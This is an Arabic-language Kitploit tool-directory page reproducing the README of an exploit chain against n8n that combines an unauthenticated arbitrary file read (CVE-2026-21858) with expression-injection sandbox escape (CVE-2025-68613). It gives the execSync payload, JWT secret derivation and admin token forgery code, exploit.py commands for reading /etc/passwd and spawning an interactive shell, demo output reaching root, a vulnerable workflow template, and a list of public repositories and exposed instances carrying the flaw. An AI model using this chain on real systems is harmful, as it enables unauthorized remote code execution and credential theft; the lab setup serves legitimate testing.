Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-21858 — أتمتة سلسلة استغلال لـ n8n تحقق قراءة ملفات عشوائية بدون مصادقة، وتزوير رمز المسؤول، وتجاوز بيئة الحماية للوصول إلى تنفيذ الأوامر عن بُعد عبر حقن التعبيرات. | Kitploit
أدوات/GitHubGitHub/kaleth4/cve-2026-21858
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالفريق الأحمرتطوير الحمولات
GitHubkaleth4/cve-2026-21858

CVE-2026-21858

أتمتة سلسلة استغلال لـ n8n تحقق قراءة ملفات عشوائية بدون مصادقة، وتزوير رمز المسؤول، وتجاوز بيئة الحماية للوصول إلى تنفيذ الأوامر عن بُعد عبر حقن التعبيرات.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-21858 + CVE-2025-68613 - سلسلة هجوم كاملة على n8n

قراءة ملفات عشوائية بدون مصادقة ← تزوير رمز المسؤول ← تجاوز العزل ← تنفيذ أوامر عن بُعد

سلسلة هجوم كاملة بدون مصادقة لتنفيذ أوامر عن بُعد على n8n:

  1. CVE-2026-21858 - خلط نوع المحتوى ← قراءة ملفات عشوائية
  2. قراءة الإعدادات وقاعدة البيانات ← تزوير JWT للمسؤول
  3. CVE-2025-68613 - حقن تعبيرات ← تجاوز العزل ← تنفيذ أوامر عن بُعد

الاكتشاف

التعرض يعتمد على الإصدار. من حيث التعرض، توجد نسخ n8n قابلة للاستغلال متاحة للجمهور.

نتائج LeakIX: عرض النسخ المكشوفة

لماذا هذا الاستغلال؟

تم تطوير هذا الاستغلال بشكل مستقل عن تقرير Cyera (اكتُشف بعد اكتماله). الاختلافات الرئيسية:

Cyera (البحث الأصلي)هذا الاستغلال
قراءة الملفاتتحميل إلى قاعدة معرفة الذكاء الاصطناعي ← الاستعلام عبر الدردشةاستجابة HTTP مباشرة
المتطلبات المسبقةسير عمل دردشة + تكامل ذكاء اصطناعيأي نموذج مع رفع ملفات
طريقة تنفيذ الأوامرعقدة "Execute Command" (معطلة افتراضيًا)حقن تعبيرات (يعمل على التثبيتات الافتراضية)
الأتمتةعرض يدوي/مفاهيميسكربت Python مؤتمت بالكامل

يتطلب كلا الأسلوبين تكوينات سير عمل محددة. يحتاج Cyera إلى دردشة + تكامل ذكاء اصطناعي، بينما يحتاج هذا الاستغلال إلى نموذج مع عقدة Respond. راجع القيود للتفاصيل.

سلسلة الهجوم

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     بدون مصادقة                            │
├───────────────────────────────────────────────────────────┤
│  1. قراءة /proc/self/environ ← العثور على دليل HOME       │
│  2. قراءة $HOME/.n8n/config ← الحصول على encryptionKey    │
│  3. قراءة $HOME/.n8n/database.sqlite ← الحصول على بيانات المسؤول │
├───────────────────────────────────────────────────────────┤
│                      تزوير الرمز                          │
├───────────────────────────────────────────────────────────┤
│  4. اشتقاق سر JWT من encryptionKey                        │
│  5. تزوير ملف تعريف جلسة المسؤول                          │
├───────────────────────────────────────────────────────────┤
│                    تنفيذ أوامر بمصادقة                    │
├───────────────────────────────────────────────────────────┤
│  6. إنشاء سير عمل مع حقن تعبيرات                          │
│  7. تجاوز العزل عبر this.process.mainModule.require       │
│  8. تنفيذ أوامر عشوائية                                   │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - قراءة ملفات عشوائية عبر خلط نوع المحتوى

التصحيح

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

الأسطوري "Merge commit from fork" - عندما ترى هذا، فهذا يعني أن شخصًا ما وجد شيئًا مثيرًا. 🌶️

السبب الجذري

root@kitploit:~
// قبل (قابل للاستغلال)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// بعد (تم الإصلاح)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

أرسل Content-Type: application/json ← تحكم في filepath ← اقرأ أي ملف.

CVE-2025-68613 - حقن تعبيرات لتنفيذ أوامر عن بُعد

لماذا هذا التجاوز؟

n8n يعزل كود المستخدم (عقدة Code، التعبيرات) باستخدام vm2/isolated-vm. نواقل أخرى لتنفيذ الأوامر:

التقنيةالحالة
عقدة Execute Commandمعطلة افتراضيًا (N8N_ALLOW_EXEC_COMMAND=false)
عقد SSH/HTTPتنفذ على خوادم بعيدة، وليس على مضيف n8n
تجاوز عزل PyodideCVE-2025-68668 - يتطلب عقدة Python Code
حقن التعبيراتCVE-2025-68613 - يعمل على التثبيتات الافتراضية

استخدمت حقن التعبيرات لأنه يعمل على أي n8n بالإعدادات الافتراضية - بدون الحاجة إلى عقد أو إعدادات خاصة. يتطلب تجاوز Pyodide (CVE-2025-68668) عقدة Python Code التي قد لا تكون متاحة على جميع النسخ.

الحمولة

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

تعبيرات n8n لديها وصول إلى this.process.mainModule.require ← هروب كامل من العزل.

تزوير الرمز

root@kitploit:~
# اشتقاق سر JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# تجزئة JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# تزوير الرمز
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

إعداد المختبر

root@kitploit:~
docker compose up -d
# انتظر ~60 ثانية للإعداد
# النموذج: http://localhost:32790/form/vulnerable-form
# بيانات الدخول: [email protected] / ExploitLab123!

الاستخدام

root@kitploit:~
# قراءة ملف عشوائي
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# سلسلة كاملة مع أمر
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# قشرة تفاعلية
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

العرض التوضيحي

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - سلسلة هجوم كاملة على n8n ║
║     قراءة ملفات عشوائية ← تزوير رمز ← تجاوز عزل ← تنفيذ أوامر  ║
╚═══════════════════════════════════════════════════════════════╝

[*] الهدف: http://localhost:5678/form/vulnerable-form
[*] الإصدار: 1.65.0 (قابل للاستغلال)
[x] دليل HOME
[+] دليل HOME: /root
[x] مفتاح التشفير
[+] مفتاح التشفير: yusrXZV1...
[x] قاعدة البيانات
[+] قاعدة البيانات: 1327104 بايت
[x] مستخدم المسؤول
[+] مستخدم المسؤول: [email protected]
[x] تزوير الرمز
[+] تزوير الرمز: OK
[x] وصول المسؤول
[+] وصول المسؤول: ممنوح!
[+] ملف تعريف الارتباط: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] تنفيذ الأوامر
[+] تنفيذ الأوامر: OK

uid=0(root) gid=0(root) groups=0(root)

القيود

هذا ليس استغلال "اختراق أي n8n". يتطلب شروطًا محددة للعمل:

المتطلبالوصف
نموذج مع رفع ملفاتيجب أن يكون لدى الهدف سير عمل نموذج مع حقل رفع ملفات
عقدة Respond to Webhookيجب أن يعيد سير العمل محتوى الملف في استجابة HTTP
سير عمل نشطيجب تفعيل سير عمل النموذج
وصول بدون مصادقةيجب أن يكون النموذج متاحًا للجمهور (بدون مصادقة)

مثال على تكوين سير عمل قابل للاستغلال:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

العناصر الأساسية هي: fieldType: "file" + respondWith: "binary". هذا النمط شائع في سير عمل معالجة الملفات (المحولات، معالجات الصور، معالجات المستندات).

يعمل مع:

  • النماذج مع عقدة Respond التي تعيد بيانات ثنائية (محولات الملفات، المعالجات)
  • تثبيتات n8n الافتراضية (حقن التعبيرات غير محظور)
  • النشر المحلي/Docker (قاعدة البيانات والإعدادات مخزنة على القرص)

لا يعمل مع:

  • النماذج بدون عقدة Respond (يُقرأ الملف لكن المحتوى لا يُعاد في استجابة HTTP)
  • النماذج التي تتطلب مصادقة
  • n8n Cloud (بنية مختلفة، لا وصول محلي للملفات)
  • الإصدارات المصححة (>= 1.121.0)

ملاحظة: الثغرة (قراءة ملفات عشوائية) تُستغل بغض النظر عن طريقة استخراج البيانات. عقدة Respond هي مجرد طريقة واحدة لاسترجاع المحتوى. الطرق البديلة (OOB، عقد إخراج أخرى) قد تعمل حسب تكوين سير العمل.

الاستغلال الأعمى: إذا لم توجد عقدة Respond، يظل الملف يُقرأ بواسطة n8n لكن لا يمكن استخراجه عبر استجابة HTTP. ستكون هناك حاجة لتقنيات بديلة (OOB، التوقيت).

أمثلة من العالم الحقيقي

النمط القابل للاستغلال (Form Trigger + رفع ملفات + Respond to Webhook) موجود في مستودعات GitHub العامة.

ملاحظة: مستودعات سير عمل n8n الشهيرة (>100⭐) لا تستخدم هذا النمط. هذه مشاريع مجتمعية/شخصية:

ملف سير العملحقول الملفاتrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonصور، صوت، Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonمستند (PDF)text
ai_resume_project/resume_rag.jsonرفع ملفallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonملف صوتيtext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonملفtext
voltixLandingPage/.../chatbotvoltix.jsonرفع ملفافتراضي
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonملفافتراضي
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonارفع مستندكافتراضي
learn_earn_ai_insta/.../My workflow.jsonارفع ملفكافتراضي
finintworkshop/.../API using n8n (ToT).json

هذه سير عمل مساهم بها من المجتمع. لا تستخدم أي قوالب رسمية من n8n.io هذا النمط القابل للاستغلال.

المراجع

  • بيئة Vulhub - مختبر جاهز للاستخدام على Vulhub
  • بحث Cyera - تقرير Ni8mare الكامل - البحث الأصلي بقلم Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • قالب Nuclei لـ CVE-2025-68613
  • نتائج بحث LeakIX - نسخ قابلة للاستغلال مكشوفة
  • Formidable - "المكتبة، وليس الأغنية" (شكرًا لـ Cyera على الضحكة)
تنزيل الأداة
ملف
json